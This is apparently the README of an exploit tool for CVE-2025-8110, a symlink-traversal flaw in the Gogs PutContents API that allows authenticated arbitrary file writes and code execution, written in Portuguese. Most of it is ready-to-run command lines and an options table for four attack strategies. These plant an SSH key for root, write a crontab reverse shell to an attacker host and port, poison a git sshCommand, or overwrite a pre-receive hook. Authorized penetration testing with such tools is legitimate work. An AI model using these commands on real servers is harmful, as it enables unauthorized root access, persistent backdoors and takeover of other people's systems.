
Gogs Symlink Traversal → RCE
CVE-2025-8110 é uma vulnerabilidade crítica no Gogs (serviço Git auto-hospedado) versões <= 0.13.3. A API PutContents valida caminhos de arquivo contra traversal de diretório (../), mas não resolve links simbólicos antes de escrever. Um usuário autenticado pode enviar um commit contendo um symlink apontando para qualquer arquivo do servidor e, em seguida, chamar PutContents nesse symlink para sobrescrever o arquivo real com conteúdo controlado pelo atacante.
Isso é uma bypass da correção anterior da CVE-2024-55947, que apenas abordava traversal direto de caminho, mas não traversal baseada em symlink.
| Detalhe | Valor |
|---|---|
| CVE | CVE-2025-8110 |
| Afetadas | Gogs <= 0.13.3 |
| Corrigida | Gogs 0.13.4 |
| Tipo | Escrita Arbitrária de Arquivo Autenticada → RCE |
| CVSS | 8.8 (Alta) |
| Componente | API PutContents (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git CLIEste exploit suporta 4 estratégias RCE embutidas mais um modo de escrita genérico de arquivo:
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - Login via token de API (Autenticação Básica)POST /api/v1/user/repos com auto_init: truePUT /api/v1/repos/:owner/:repo/contents/:link com conteúdo codificado em base64. O Gogs resolve o symlink no disco e escreve no arquivo realtarget URL base do Gogs (ex.: http://target:3000)
Autenticação:
-u, --user Nome de usuário do Gogs
-p, --password Senha do Gogs
Estratégias RCE:
--rce-keys PUBKEY Plantar chave pública SSH → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Envenenar .git/config sshCommand + gatilho
--rce-hook Sobrescrever hook pre-receive + gatilho
--write Escrita genérica arbitrária de arquivo
Conexão / Payload:
--lhost LHOST IP do atacante para reverse shell
--lport LPORT Porta do atacante para reverse shell
--target-file PATH Caminho no servidor para sobrescrever (modo --write)
--content STRING Conteúdo para escrever
--content-file FILE Arquivo local para escrever
Opções:
--repo NAME Nome do repositório (padrão: aleatório)
--cleanup Excluir repositório do exploit após conclusão
-o, --output FILE Arquivo de relatório (padrão: loot.json)
--timeout SECONDS Timeout da requisição (padrão: 15)
--proxy URL Proxy HTTP para depuração
--check-only Apenas verificar se o alvo é Gogs, não explorar
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não se responsabiliza pelo uso indevido. Use somente em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
| Estratégia | Flag | Arquivo Alvo | Gatilho |
|---|
| A — Chaves SSH | --rce-keys | /root/.ssh/authorized_keys | Login SSH |
| B — Crontab | --rce-cron | /etc/crontab | Automático (dentro de 60s) |
| C — sshCommand | --rce-ssh | .git/config | Operação git SSH |
| D — Git Hook | --rce-hook | hooks/pre-receive | git push |
| Genérico | --write | Qualquer caminho | Manual |